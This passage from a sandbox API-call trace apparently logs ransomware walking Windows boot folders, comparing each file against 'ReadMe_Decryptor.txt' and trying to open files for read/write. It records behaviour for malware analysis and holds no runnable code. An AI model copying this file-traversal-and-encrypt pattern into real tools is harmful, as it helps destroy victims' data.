hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0034.064] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.171] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.171] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.171] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.171] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.171] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.171] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0034.171] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0034.172] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.172] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.172] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0034.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0034.172] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0034.172] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.172] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.172] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.172] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.172] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.172] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.173] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.173] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.173] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.173] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.173] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.173] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.173] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.173] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.173] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.173] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.173] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.173] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.258] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.258] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.259] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.259] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.259] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0034.259] lstrcmpW (lpString1="chs_boot.ttf", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.259] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.259] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0034.259] lstrcmpW (lpString1="cht_boot.ttf", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.259] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.342] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0034.342] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.342] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.342] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0034.342] lstrcmpW (lpString1="kor_boot.ttf", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.342] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.342] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0034.342] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="ReadMe_Decryptor.txt") returned 1 [0034.342] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.342] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0034.342] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.343] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0034.343] lstrcmpW (lpString1="chs_boot.ttf", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.343] lstrcmpW (lpString1="cht_boot.ttf", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.343] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.343] lstrcmpW (lpString1="kor_boot.ttf", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.343] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="ReadMe_Decryptor.txt") returned 1 [0034.343] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.388] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.388] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.388] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.388] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.388] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.388] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.388] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.388] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.388] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.388] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.388] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.389] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.389] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.389] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.389] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.389] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.389] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.389] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.389] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.389] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.389] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.389] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.389] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.389] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.390] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.390] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.521] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.521] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.521] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.521] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.521] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.521] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.521] CreateFileW 